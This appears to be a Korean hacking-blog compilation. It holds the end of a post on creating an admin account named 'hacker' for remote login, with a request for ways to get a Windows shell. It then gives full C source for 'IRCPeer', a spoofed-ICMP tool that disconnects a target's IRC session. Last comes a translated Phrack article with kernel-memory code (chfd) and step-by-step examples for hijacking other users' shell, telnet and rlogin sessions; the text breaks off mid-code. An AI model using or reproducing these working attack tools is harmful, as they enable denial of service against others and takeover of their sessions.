위 스크린샷에서 보는것 처럼 정책에 따라서 로그온할 수 없다는 메세지가 뜬다.


그러나 관리자 그룹으로 이동시킨 사용자는 위 스크린샷 처럼 원격 로그인이 된다.

고유의 사용자를 만든 것이므로 사용자를 위한 여러 개인설정을 만든다.


로그인이 끝나고 제어판의 사용자를 확인하면 위와같이 방그 만든 사용자들이 등록되어 있다.

처음 만든 hacker는 컴퓨터 관리자로 등록이 되어 있고 bin00pang은 제한된 계정으로

등록이 되어있다.


-스크랩후 망상-

무엇보다 윈도우 쉘을 따는 게 중요하다... 일단 쉘을 따고나서 위의것들을 따라해보자..

쉘을 따기위해선...리버스 텔넷, RMOF, 음 머가 있지? 누가좀 가르쳐줘!!


출처 :http://blog.naver.com/int_com 


저작자 표시 비영리
Posted by 티엘로

/*
* File Name: IRCPeer.c
*
* File Description:
*  IRC((Internet Relay Chat) 서버에 연결되어 있는 client 로 변조된 ICMP packet 을 보내어
*  해당 client 의 연결을 끊게 한다.
*
*                                                    
*/
/*
* A fundamental principle:
*
*  ICMP 는 Internet Control Message Protocol 의 준말이며,
* 네트워크 통신중의 에러, 혹은 다른 상태에 관한 정보를 알려주기 위한
* 프로토콜 이다.
*
*  ICMP 는 IP layer 이며, 이로 인해 ICMP 정보는 IP packet 안에 삽입되어 진다.
* 이를 인캡슐레이션(encapsulation) 이라 한다.
* 이러한 ICMP Message 에는 에러의 타입을 알리는 type field 와
* 좀 더 자세한 에러를 알리기 위한 code field 가 존재한다.
* Stevens 의 TCP-IP Illustrated Vol-1 의 p71 에는 해당 type 과
* code 에 대한 목록이 있다.
* 그 목록을 보면 type 3 은 'destination unreachable' 이라고 하여,
* 목적지에 도달할수 없다는 의미의 에러와, 그에 상응하는
* code field 들이 나열되어 있다.
*
*  code field 를 보면 'protocol unreachable' 의 코드가 2 로 정해져 있다.
* 이 부분을 사용하는것이 본 코드의 core 부분이라 말할 수 있다.
* 좀 더 자세하게 이야기 하면, 해당 ICMP message 를 client 에게
* 전달하여 어플리케이션으로 하여금 에러를 발생시키는것이다.
*
*  raw socket 으로 만들어 내는 패킷은 p78 하단에 나와있는
* figure 6.9 와 비슷한데, 책에서는 udp 를 사용하는 tftp 의
* 'UDP port unreachable' 의 ICMP packet 을 예제로 설명한것이고,
* 본 코드는 'TCP protocol unreachable' 을 구현한것이다.
* 즉, IRC 는 UDP 가 아닌 TCP 이므로 마지막의 UDP header 부분의
* 8 바이트를 TCP header 8 바이트로 변환하고, error type 과 code 를 변경하였다.
* 본 코드에서 만들어 내는 packet 구조는 다음과 같다.
*
*            |◀━━━━━━━━━ IP datagram ━━━━━━━━━━▶|
*                           |◀━━━━━━ ICMP message ━━━━━▶|
*                                 |◀ data portion of ICMP message ▶|
* /━━━━━+━━━━━━━+━━━+━━━━━━━━━━━━+━━━━/
* |          |              |      |                        |        |
* | Ethernet |      IP      | ICMP | IP header of datagram  |   TCP  |
* |          |              |      | that generated error   | header |
* /━━━━━+━━━━━━━+━━━+━━━━━━━━━━━━+━━━━/
*     14            20         8              20                 8
*    bytes         bytes     bytes           bytes             bytes
*
*  본 코드에서는 IP 부분부터 구현하였는데 PKTSIZE 가 define 된 부분부터 보면,
*
* [ struct ip ] + [ struct icmp ] + [ 8 bytes of struct tcphdr ]
*
* 이러한 형식으로 구성되었다.
* 중간의 IP header 20바이트 부분은 icmp 구조체 안의 icmp_data 멤버의
* 20바이트에 할당하여 사용한다.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>

#define S_PORT      1000        // 공격 시작 포트
#define E_PORT      6000        // 공격 끝 포트
#define PKTSIZE     (sizeof(struct ip) + sizeof(struct icmp) + 8)
#define SPOOF       "192.168.0.1"   // 기본 스푸핑 아이피

/* define structure */
struct info {
    char t_addr[16];
    int  t_port;
    char irc_addr[16];
    int  irc_port;
    char spoof_addr[16];
};

/* user-defined function prototype */
void            usage(char *);
int             Attack(struct info *);
unsigned short  in_cksum(unsigned short *, int);

int main(int argc, char **argv)
{
    int             opt,
                    irc_port = 6667;    // 기본 IRC 접속 포트
    int             i;
    struct hostent  *he;
    struct info     *info;              // 공격 정보를 담을 구조체
    unsigned int    serv_addr;          // IRC server address 를 저장할 변수
    char            *t_addr = NULL,     // 공격 타겟 IP address
                    *irc_serv = NULL,   // IRC Server domain
                    irc_addr[16],       // IRC Server IP address
                    *spoof_addr = SPOOF;    // Spoofing 하게 될 IP address

    while((opt = getopt(argc, argv, "t:i:p:s:")) != -1) {
        switch(opt) {
            case 't':
                t_addr = optarg;
                break;
            case 'i':
                irc_serv = optarg;
                break;
            case 'p':
                irc_port = atoi(optarg);
                break;
            case 's':
                spoof_addr = optarg;
                break;
            default:
                usage(argv[0]);
        }
    }

    if(t_addr == NULL || irc_serv == NULL) {
        usage(argv[0]);
    }

    if((he = gethostbyname(irc_serv)) == NULL) {
        herror("gethostbyname");
        exit(-1);
    }
    
    memcpy(&serv_addr, he->h_addr, 4);
    memset(irc_addr, 0, sizeof(irc_addr));
    sprintf(irc_addr, "%s", (char*)inet_ntoa(serv_addr));

    printf(
            "IRCPeer - A tool for IRC ICMP flood.\n\n"
            "[+] Target IP Address: %s\n"
            "[+] Server: %s (%s)\n"
            "[+] Server Port: %d\n"
            "[+] Spoof IP: %s\n",
            t_addr, irc_serv, irc_addr, irc_port, spoof_addr);
    
    info = (struct info *)malloc(sizeof(struct info));
    if(info == NULL) {
        printf("Out of memory.\n");
        exit(-1);
    }
    
    strncpy(info->t_addr, t_addr, sizeof(info->t_addr));
    info->t_port = 0;
    strncpy(info->irc_addr, irc_addr, sizeof(info->irc_addr));
    info->irc_port = irc_port;
    strncpy(info->spoof_addr, spoof_addr, sizeof(info->spoof_addr));
        
    for(i = S_PORT; i < E_PORT; i++) {
        if(i%30 == 0) usleep(200000);   // delay 0.2 seconds
        info->t_port = i;
        Attack(info);
        printf("[-] Sending Packets..... %d\n", i);
        printf("\033[J\033[A");
    }
    printf("[+] Sending Packets..... %d\n", i);
    printf("[+] Complete.\n");
    
    free(info);
}

/*
* Function Name: usage
*
* Function Description:
*  공격에 사용될 기본 정보가 입력되지 않았을때 실행되며,
*  본 프로그램에 대한 사용법을 출력한다.
*/
void usage(char *prog)
{
    int     i = 0;
    
    printf(
            "IRCPeer - A tool for IRC ICMP flood.\n\n"
            "Usage: %s -t <TARGET> -i <IRC SERVER> "
            "[-p <IRC PORT> -s <SPOOF IP>]\n\n"
            "  -t <TARGET> \t\tTarget IP Address.\n"
            "  -i <IRC SERVER> \tIRC Server.\n"
            "  -p <IRC PORT> \tIRC Port.\n"
            "  -s <SPOOF IP> \tSpoofing Mode.\n\n", prog);
    
    printf(
            "<IRC PORT>:\n"
            "\tDefault = 6667\n"
            "<SPOOF IP>:\n"
            "\tDefault = 192.168.0.1\n"
    );

    exit(0);
}

/*
* Function Name: Attack
*
* Function Description:
*  실제적인 공격에 관한 사용자 정의 함수이다.
*  함수의 매개변수로는 Client IP/Port, Server IP/Port.
*  Spoofing IP 이렇게 다섯가지 정보가 저장되어 있는
*  구조체의 포인터가 사용된다.
*/
int Attack(struct info *info)
{
    int                 on = 1,
                        sock;
    char                pkt[PKTSIZE];
    struct icmp         *icmp;
    struct ip           *ip;
    struct iphdr        *iphdr;
    struct tcphdr       *tcphdr;
    struct sockaddr_in  addr;

    memset(pkt, 0, PKTSIZE);

    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket");
        exit(-1);
    }

    if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&on, sizeof(on)) < 0) {
        perror("setsockopt");
        exit(-1);
    }

    /* IP Configuration */
    ip = (struct ip *)pkt;

    ip->ip_hl = 5;
    ip->ip_v = IPVERSION;
    ip->ip_len = htons(sizeof(struct ip) + sizeof(struct icmp));
    ip->ip_id =htons(getpid());
    ip->ip_ttl = 242;
    ip->ip_p = IPPROTO_ICMP;
    ip->ip_src.s_addr = inet_addr(info->spoof_addr);
    ip->ip_dst.s_addr = inet_addr(info->t_addr);
    ip->ip_sum = htons((unsigned short)in_cksum((unsigned short *)ip, \
                    sizeof(struct ip)));

    /* ICMP Configuration */
    icmp = (struct icmp *)(pkt + sizeof(struct ip));

    icmp->icmp_type = ICMP_DEST_UNREACH;
    icmp->icmp_code = ICMP_PROT_UNREACH;

    /* IP header Configuration */
    iphdr = (struct iphdr *)icmp->icmp_data;

    iphdr->ihl = 5;
    iphdr->version = 4;
    iphdr->tot_len = 4;
    iphdr->id = getpid();
    iphdr->ttl = 131;
    iphdr->protocol = IPPROTO_TCP;
    iphdr->saddr = ip->ip_dst.s_addr;
    iphdr->daddr = inet_addr(info->irc_addr);

    /* Uppon Layer Protocol 8bytes */
    tcphdr = (struct tcphdr *)(pkt + sizeof(struct ip) + sizeof(struct icmp));

    tcphdr->source = htons(info->t_port);
    tcphdr->dest = htons(info->irc_port);
    tcphdr->seq = rand()%time(NULL);

    /* ICMP checksum */
    icmp->icmp_cksum = in_cksum((unsigned short *)icmp, +
                            sizeof(struct icmp) + 8);

    memset((char*)&addr, 0, sizeof(addr));

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(info->t_addr);

    sendto(sock, (char*)pkt, sizeof(pkt), 0, (struct sockaddr *)&addr, \
        sizeof(addr));
    close(sock);
}

/*
* Function Name: in_cksum
*
* Function Description:
*  체크섬 함수이며, Stevens - Unix Network Programming Vol-1 p672 에
*  나와있는 코드를 그대로 가져다 사용하였다.
*/
unsigned short in_cksum(unsigned short *addr,int len)
{
    register int sum = 0;
    u_short answer = 0;
    register u_short *w = addr;
    register int nleft = len;

    /*
    * Our algorithm is simple, using a 32 bit accumulator (sum), we add
    * sequential 16 bit words to it, and at the end, fold back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
    sum += (sum >> 16);                     /* add carry */
    answer = ~sum;                          /* truncate to 16 bits */
    return(answer);
}
/*
* 사족:
* 언젠가부터.. IRC peer 프로그램을 보면서..
* 한번 만들어보고 싶다 라고 생각했었는데.. 시간도 능력도 안되서..
* 실행에 옮기지 못했다가.. 요즘 노는시간이 많아 공부도 할 겸 만들어 보았다.
* peer 프로그램의 packet 을 스니퍼로 캡춰하여 분석해서 만든건데,
* 그 packet 을 보내준 ChrisNova 에게 감사한다..
* (그 packet 을 백배로 돌려서 보내줄까..--a 하하하..)
*/


작성자 :  indra (indra@linux.co.kr)

저작자 표시 비영리
Posted by 티엘로

Procrastination is the denial of death. 
Lift with your leg, not your back. 

원본 소개  
Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 05 of 17  File Descriptor Hijacking 
orabidoo <odar@pobox.com> 

소개 
우리는 종종 사용자의 권한을 넘어 root를 얻는 방법에 대한 tty hijacking에 대해 
듣곤한다. 이것을 위한 Sys V의 스트림(STREAMS)을 사용한 전통적인 툴과 리눅스에서 
loadable module을 사용하기위한 방법으로 본지의 50호에 특별히 소개된적이 있었다. 
 
나는 remote 또는 local머신의 루트를 얻는 간단한 테크닉을 소개하고자 한다. 리눅스와 
FreeBSD를 사용했다. : root kernel memory에 쓸수 있는 유닉스 비슷한 시스템이라면 
어디서나 가능하다. 
 
아이디어는 간단하다. :커널의 fd table을 약간 꼬아서, 하나의 프로세스에서 다른 프로세스로
fd를 강제적으로 옮기는 것이다. 
이방법은 당신이 할수 있는 거의 모든일을 가능하게 한다. : 실행되고있는 커맨드의 output
파일로 리다이렉션 시킨다든지, 당신의 이웃의 텔넷 커넥션에서 까지도 가능하다. 
 
커널은 어떻게 열린 fd track을 지키는가. 
유닉스에서, 프로세스가 fd로 이루어진 자원에 접근하는 방법은 open(),socket(),pipe() 
들과 같은 시스템 콜로서 가능하다. 프로세스의 관점에서 보면 , fd는 리소스에 대한 
불투명한 핸들이다. fd 0,1,2는 각각 표준 입력, 출력, 에러를 나타낸다. 새로운 
descriptor는 항상 시퀀스에 올로케이트 되어있다. 
 
펜스(fense)의 다른면에서, 커널이 지키고, 서로다른 프로세스간에 fd table은 각 fd 
structure로의 포인터로 이루어진다. fd가 열려있지 않으면 포인터는 NULL이다. 반면에, 
structure fd자체에 대한 종류(file, socket, pipe, etc...)에 대한 정보를 가지고 
있으며, fd access에 대한 자원(파일의 inode, 소켓의 주소와 상태정보 등등..)의 데이터에 
대한 포인터를 함께 가지고 있다. 
 
보통 프로세스 테이블은 링크된 스트럭쳐의 리스트 또는 배열(array)로 구성되어있다. 주어진 
프로세스를 위한 스트럭쳐에서부터, 당신은 그 프로세스에 대한 내부의 fd테이블을 손쉽게 
찾을수 있을 것이다. 
 
리눅스에서, 프로세스 테이블은 task_struct의 구조체 배열("task"로 불려지는)이며, 구조체 
files_struct로의 fd배열을 가진(/usr/include/linux/sched.h 참조) 포인터를 포함하고 
있다. SunOS 4에서 프로세스 테이블은 fd들에 대한 정보를 가지고 있는 u_area로의 포인터를
포함한 스트럭트 proc's의 링크드 리스트이다. FreeBSD에서 역시 allproc라 불리는 스트럭트 
proc's의 링크드 리스트이며, 그것은 fd테이블을 포함한 구조체 filedesc로의 포인터를 가진다.
(/usr/include/sys/proc.h 참조) 
 
만약 당신이 커널 메모리에 쓰기 또는 읽기 access를 가지고 있다면(대부분 이것은 /dev/kmem
을 읽거나 쓰는것과 같다.) fd테이블들의 잡탕속에서 열려진 fd를 프로세스에서 훔치는 것과, 
다른 프로세스에서 재사용하는것을 방해할것은 아무것도 없다. 
 
이것은 보안레벨 0등급이상에서 돌아가는 BSD4.4({Free,Net,Open}BSD)와 같은 시스템에서는
동작하지 않는다. 저런 모드에서는 /dev/kmem, /dev/mem과 같은 곳으로의 접근이 불가능하다.
그러나 많은 BSD시스템들은 약점이 있는 보안등급 -1에서 동작하며, StartUP스크립트를 
조작하여 다음번 재부팅때 보안등급을 -1로 끌어내리는것도 가능할 수 있다. FreeBSD에서는 
"sysct | kern.securelevel"명령어로 보안등급을 확인할수 있다. 리눅스역시 보안등급을 
가지고는 있지만, 리눅스는 /dev/kmem으로의 접근을 방해하지는 않을 것이다. 
 
File descriptor Hijacking 
 
커널 내부의 변수들은 사용자 프로그램에 의해 수정될 수 없다. 
첫째로, 멀티 태스킹 시스템에서 당신은 변수의 주소를 찾아내고, 그 값을 바꾸는 사이에 
커널의 상태가 바뀌지 않는데 대한 아무런 잇점(guarantee)이 없다. 이것은 우리가 왜 이 
기술을 확실성에 목적을 둔 프로그램들에서 사용되어 질 수 없는지를 보여준다. 말했듯이,
연습에서 난 실패한적이 없다. 왜냐하면 커널은 한번 할당되어진 (최소한 처음 20,32,64... 
프로세스당 fd) 이러한 종류의 데이터를 옮기지 않으며, 프로세스가 닫히거나 새로 fd
만들어 열때 시도하는것은 거의 불가능하다. 
 
First of all, on a multitasking system, you have no guarantee that the 
kernel's state won't have changed between the time you find out a 
variable's address and the time you write to it (no atomicity). This is 
why these techniques shouldn't be used in any program that aims for 
reliability. That being said, in practice, I haven't seen it fail, because 
the kernel doesn't move this kind of data around once it has allocated it 
(at least for the first 20 or 32 or 64 or so fds per process), and because 
it's quite unlikely that you'll do this just when the process is closing or 
opening a new fd. ---- 아리송해서 원문도 같이 붙여봅니당. ^^;; 

You still want to try it? 

단순한 목적을 위해, 우리는 두 프로세스간의 fd복제 또는 한 프로세스에서 다른 프로세스로 
리턴값이 없는 프로세스로의 fd passing을 시도하지는 않을 것이다. 
대신, 우리는 프로세스의 fd를 다른 프로세스의 fd와 교환할것이다. 이 방법은 우리가 
열려진 파일과 거래할수 있는 유일한 방법이며, 카운트 참조와 같은 방법은 사용하지 않을 
것이다. 이것은 가능한 한 간단하게 커널안에서 두개의 포인터를 찾아내고, 그것들을 
교환할 것이다. 약간 더 복잡한 버젼은 fd에 대한 3개의 포로세스와 원형순열(교환)
포함한다. 
 
당연히, 당신은 바꾸고자하는 fd에 일치할만한 리소스를 추측해서 알아내야만 한다. 실행되고 
있는 쉘의 완벽한 제어를 위해 당신은 표준입력, 출력, 에러를 원할것이며,  0,1,2로 불리는 
이 세가지 fd들을 취해야 할 필요가 있다.할 필요가 있다. , 당신은 텔넷 세션을 제어하기 
위해 텔넷이 인터넷의 다른 쪽과 대화하기위해 사용하는 inet socket fd(주로 3) 
원할 것이며, 동작하는 다른 텔넷과 fd를 교환 할 것이다. 리눅스에서는 /proc/[pid]/fd 
에서 프로세스가 사용하는 fd를 얻을수 있다. 
 
Using chfd 
 
우리는 마무리를 위한 도구로서 linux FreeBSD를 가지고 있다. 그것은 공평하게 다른 
시스템으로 t쉽게 옮겨(포팅되어) 질 수 있다. 
리눅스에서 chfd를 컴파일 하기 위해서는 리눅스 커널의 동작에 대해 몇가지 이해해야 
할것들이 있다. 만약 1.2.13이나 그 비슷한 것이라면, /* #define OLDLINUX */의 주석을 
지워야 할 필요가 있는데, 왜냐하면 커널의 구조가 그때 부터 바뀌었기 때문이다. 만약 2.0.0 
이나 그 이상이라면 다시 바뀔 수 있을 지라도 box의 바깥쪽에서도 동작할것이다. 
그리고 커널에서 심볼테이블을 찾아야 할 필요가 있는데, 그것은 아마 /boot/System.map또는 
그 비슷한데 있을 것이다. 이것은 실제 동작하고 있는 커널에 대해 일치한다는것을 확인해야 
한다.
그리고 "take" 심볼의 주소를 뒤져봐야 할것이다. 이 값을 "00192d28"대신에 chfd에 넣어 
주어야 한다. 그리고 "gcc chfd.c -o chfd"명령과 함께 컴파일 해라. 
FreeBSD에서 컴파일 하기 위해서는 단지 FreeBSD 코드를 얻은후에 
"gcc chfd.c. -o chfd -lkvm"명령과 함께 컴파일 하면 된다. 이 코드는 FreeBSD 2.2.1 
에서 작성 되었으며, 다른 버젼을 위해 좀 만져줘야 할 수도 있다. 
컴파일 된후에, chfd를 다음과 같이 실행한다. 
 
chfd pid1 fd1 pid2 fd2 
또는, 
chfd pid1 fd1 pid2 fd2 pid3 fd3 
 
첫번째 경우, fd는 단지 교환(swap)되었을 뿐이다. 두번째는 두번째 프로세스가 첫번째의 
fd를 얻고, 세번째(프로세스)가 두번째의 fd를 얻으며, 첫번째가 세번째의 fd를 얻어낸다.
특별한 경우로, pid중의 하나가 0일 경우에 일치하는 fd가 버려지며, 그것 대신 /dev/null 
값이 fd pass된다. 
 
Example 1  

. pid 207 이 긴 계산을 하며, tty output 되는 경우. 
. 당신이 "cat > somefile"을 실행시키고, 그것의 pid를 조사 했을 경우(1746) 

그렇다면 
chfd 207 1 1746 1 
 
이것은 그 계산을 "somefile"이란 파일로 리다이렉션 시킬것이며, 그 계산이 돌아가고있는 
tty를 화면에 출력할 것이다. 그러면 ^C로 화면에 출력되는 중요한 계산의 결과값에대한 
두려움 없이 실행을 중지할수 있다. 
  
Example 2 
 
. 누군가 tty에서 bash의 복사본을 pid 4022로 돌리고 있을때. 
. 당신이 tty에서 bash의 또다른 복사본을 pid 4121로 돌리고 있을때. 
 
그러면 
sleep 10000 

# 당신의 bash에서 실행하면 당분간 tty에서 읽지 않을 것이다. 
# 그렇지 않으면 당신의 쉘은 /dev/null 로부터 EOF를 취한후에 죽을 것이다. 
# 그 세션은 즉시, 
 
chfd 4022 0 0 0 4121 0 
chfd 4022 1 0 0 4121 1 
chfd 4022 2 0 0 4121 2 
 
그리고 다른사람의 키 입력을 /dev/null로 보내는 동안에 bash output의 제어를 찾아라.
당신이 쉘을 떠날때, 그는 그의 세션이 연결종료 됬다는것을 알아내고, 당신은 ^C로 당신의 
sleep를 죽이면 안전해 질수 있다. 
다른 쉘들은 아마 다른 fd를 사용할 것이다. zsh tty로 부터 읽어 들일때 fd 10
사용하는것 같은데, 그에 따라 직접 바꿔 줄 필요가 있을 것이다. 
 
Example 3 
 
. 누군가 pid 6309 tty에서 텔넷을 실행 시키고 있을때. 
. 당신이 pid 7081로 텔넷을 중요하지 않은 포트로 너무 빨리 드롭 되지 않도록 실행 시킬때.
(telnet localhost 7, telnet www.yourdomain 80, 기타 등등) 
. 리눅스에서, 빠르게 /proc/6309/fd  /proc/7081/fd 를 살펴보면 텔넷이 사용하고 있는 
fd 0, 1,2,3( 3은 분명 그 커넥션일 것이다.)를 알수 있을 것이다. 

그러면 
chfd 6309 3 7081 3 0 0 
 
이것은 그 다른 사람의 텔넷 커넥션을 /dev/null 로 보낼것이다. (다른 사용자의 텔넷은 EOF
읽어 "Connection closed by foreign host."라는 메세지를 볼것이다.) 그리고 당신의 
텔넷은 스스로 그 다른 사용자의 리모트 호스트에 연결될 것이다. 이 시점에서 당신의 텔넷이 
연결 위치에 echo를 멈추도록 하기 위해 당신은 아마도 ^]를 누르고 "mode character"
칠것이다. 
 
Example 4 

. 누군가 tty에서 rlogin를 돌리고 있을 경우. " 각자의 rlogin pid 4547 4548
  쓰고 있을때. 
. 당신은 다른 tty에서 pid 4852 pid 4855 rlogin localhost 을 돌리고, 
. /proc/../fds 와 관련된 것들을 빠르게 살펴봄으로서 rlogin 프로세스가 커넥션을 위해 
  fd 3을 쓰고 있다는것을 알아 냈을때. 
 
그렇다면, 
chfd 4547 3 4852 3 (원문에서는 이부분이 chfd 4547 3 4552 3) 
chfd 4548 3 4855 3 (역시 chfd 4548 3 4555 3) 

당신의 rlogin이 일어날수 없는 이벤트(localhost로부터 데이터를 읽는것)를 기다리는 
것때문에 커널에 의해 당신의 rlogin이 아직 막혀 있는 경우를 제외하고 이것은 당신이 
기대한대로 동작할 것이다. 이러한 경우, 'fg'에 따라 kill -STOP을 실행 시킴으로서 
다시 rlogin을 깨울수 있다. 
 
당신은 아이디어를 얻었다. 프로그램이 다른 프로그램의 fd를 얻는 동안 그것을 가지고 
무엇을 해야할지 아는것은 중요하다. 대부분의 경우 당신은 같은 프로그램의 복사본을 
실행시키는 것으로 ,만약 /dev/null, stdin/stdout/stderr fd를 패스 하지 
않는한, 당신이 원하는것을 얻을수 있을 것이다. 
 
Conclusion 

당신도 보았듯이, 이걸 가지고 꽤 무서운 짓을 할수 있다. 그리고 루트가 이것을 돌리는 
것으로 부터 당신 자신을 보호하는 것 또한 정말 어렵다. 
이것은 보안 구멍 조차 아니라는 점에서 논의 될수있다. 이 짓들이 가능하기 위해선 
루트가 *필요*하다. 반면에 /dev/kmem의 드라이버 코드 안에 당신이 /dev/kmem
쓰도록(write) 할 수 있는 명백한 코드는 없을것이다. 그렇지 않은가? 
 
The Linux code 
 
<++> fd_hijack/chfd-linux.c 
/* chfd - exchange fd's between 2 or 3 running processes. 
* 
* This was written for Linux/intel and is *very* system-specific. 
* Needs read/write access to /dev/kmem; setgid kmem is usually enough. 
* 
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3] 
* 
* With two sets of arguments, exchanges a couple of fd between the 
* two processes. 
* With three sets, the second process gets the first's fd, the third gets 
* the second's fd, and the first gets the third's fd. 
* 
* Note that this is inherently unsafe, since we're messing with kernel 
* variables while the kernel itself might be changing them. It works 
* in practice, but no self-respecting program would want to do this. 
* 
* Written by: orabidoo <odar@pobox.com> 
* First version: 14 Feb 96 
* This version: 2 May 97 
*/ 
 
#include <stdio.h> 
#include <unistd.h> 
#include <fcntl.h> 
#define __KERNEL__ /* needed to access kernel-only definitions */ 
#include <linux/sched.h> 
/* #define OLDLINUX */ /* uncomment this if you're using Linux 1.x; 
tested only on 1.2.13 */ 
#define TASK 0x00192d28 /* change this! look at the system map, 
usually /boot/System.map, for the address 
of the "task" symbol */ 
#ifdef OLDLINUX 
# define FD0 ((char *)&ts.files->fd[0] - (char *)&ts) 
# define AD(fd) (taskp + FD0 + 4*(fd)) 
#else 
# define FILES ((char *)&ts.files - (char *)&ts) 
# define FD0 ((char *)&fs.fd[0] - (char *)&fs) 
# define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd)) 
#endif 
 
int kfd; 
struct task_struct ts; 
struct files_struct fs; 
int taskp; 
 
int readval(int ad) { 
int val, r; 
 
if (lseek(kfd, ad, SEEK_SET) < 0) 
perror("lseek"), exit(1); 
if ((r = read(kfd, &val, 4)) != 4) { 
if (r < 0) 
perror("read"); 
else fprintf(stderr, "Error reading...\n"); 
exit(1); 
} 
return val; 
} 
 
int readvalz(int ad) { 
int r = readval(ad); 
if (r == 0) 
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1); 
return r; 
} 
 
void writeval(int ad, int val) { 
int w; 
 
if (lseek(kfd, ad, SEEK_SET) < 0) 
perror("lseek"), exit(1); 
if ((w = write(kfd, &val, 4)) != 4) { 
if (w < 0) 
perror("write"); 
else fprintf(stderr, "Error writing...\n"); 
exit(1); 
} 
} 
void readtask(int ad) { 
int r; 
if (lseek(kfd, ad, SEEK_SET)<0) 
perror("lseek"), exit(1); 
if ((r = read(kfd, &ts, sizeof(struct task_struct))) != 
sizeof(struct task_struct)) { 
if (r < 0) 
perror("read"); 
else fprintf(stderr, "Error reading...\n"); 
exit(1); 
} 
} 
 
void findtask(int pid) { 
int adr; 
 
for (adr=TASK; ; adr+=4) { 
if (adr >= TASK + 4*NR_TASKS) 
fprintf(stderr, "Process not found\n"), exit(1); 
taskp = readval(adr); 
if (!taskp) continue; 
readtask(taskp); 
if (ts.pid == pid) break; 
} 
} 
 
int main(int argc, char **argv) { 
int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3; 
int three=0; 
 
if (argc != 5 && argc != 7) 
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), 
exit(1); 
 
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]); 
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]); 
if (argc == 7) 
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1; 
 
if (pid1 == 0) 
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR); 
if (pid2 == 0) 
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR); 
if (three && pid3 == 0) 
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR); 
 
kfd = open("/dev/kmem", O_RDWR); 
if (kfd < 0) 
perror("open"), exit(1); 
 
findtask(pid1); 
ad1 = AD(fd1); 
val1 = readvalz(ad1); 
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1); 
 
findtask(pid2); 
ad2 = AD(fd2); 
val2 = readvalz(ad2); 
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2); 
 
if (three) { 
findtask(pid3); 
ad3 = AD(fd3); 
val3 = readvalz(ad3); 
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3); 
} 
 
if (three) { 
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) { 
fprintf(stderr, "fds changed in memory while using them - try again\n"); 
exit(1); 
} 
writeval(ad2, val1); 
writeval(ad3, val2); 
writeval(ad1, val3); 
} else { 
if (readval(ad1)!=val1 || readval(ad2)!=val2) { 
fprintf(stderr, "fds changed in memory while using them - try again\n"); 
exit(1); 
} 
writeval(ad1, val2); 
writeval(ad2, val1); 
} 
printf("Done!\n"); 
} 
 
<--> 
 
The FreeBSD code 
---------------- 
 
<++> fd_hijack/chfd-freebsd.c 
 
/* chfd - exchange fd's between 2 or 3 running processes. 
* 
* This was written for FreeBSD and is *very* system-specific. Needs 
* read/write access to /dev/mem and /dev/kmem; only root can usually 
* do that, and only if the system is running at securelevel -1. 
* 
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3] 
* Compile with: gcc chfd.c -o chfd -lkvm 
* 
* With two sets of arguments, exchanges a couple of fd between the 
* two processes. 
* With three sets, the second process gets the first's fd, the third 
* gets the second's fd, and the first gets the third's fd. 
* 
* Note that this is inherently unsafe, since we're messing with kernel 
* variables while the kernel itself might be changing them. It works 
* in practice, but no self-respecting program would want to do this. 
* 
* Written by: orabidoo <odar@pobox.com> 
* FreeBSD version: 4 May 97 
*/ 
 
 
#include <stdio.h> 
#include <fcntl.h> 
#include <kvm.h> 
#include <sys/proc.h> 
 
#define NEXTP ((char *)&p.p_list.le_next - (char *)&p) 
#define FILES ((char *)&p.p_fd - (char *)&p) 
#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd)) 
 
kvm_t *kfd; 
struct proc p; 
u_long procp, allproc; 
struct nlist nm[2]; 
 
u_long readval(u_long ad) { 
u_long val; 
 
if (kvm_read(kfd, ad, &val, 4) != 4) 
fprintf(stderr, "error reading...\n"), exit(1); 
return val; 
} 
 
u_long readvalz(u_long ad) { 
u_long r = readval(ad); 
if (r == 0) 
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1); 
return r; 
} 
 
void writeval(u_long ad, u_long val) { 
if (kvm_write(kfd, ad, &val, 4) != 4) 
fprintf(stderr, "error writing...\n"), exit(1); 
} 
 
void readproc(u_long ad) { 
if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc)) 
fprintf(stderr, "error reading a struct proc...\n"), exit(1); 
} 
 
void findproc(int pid) { 
u_long adr; 
 
for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) { 
procp = adr; 
readproc(procp); 
if (p.p_pid == pid) return; 
} 
fprintf(stderr, "Process not found\n"); 
exit(1); 
} 
 
int main(int argc, char **argv) { 
int pid1, fd1, pid2, fd2, pid3, fd3; 
u_long ad1, val1, ad2, val2, ad3, val3; 
int three=0; 
 
if (argc != 5 && argc != 7) 
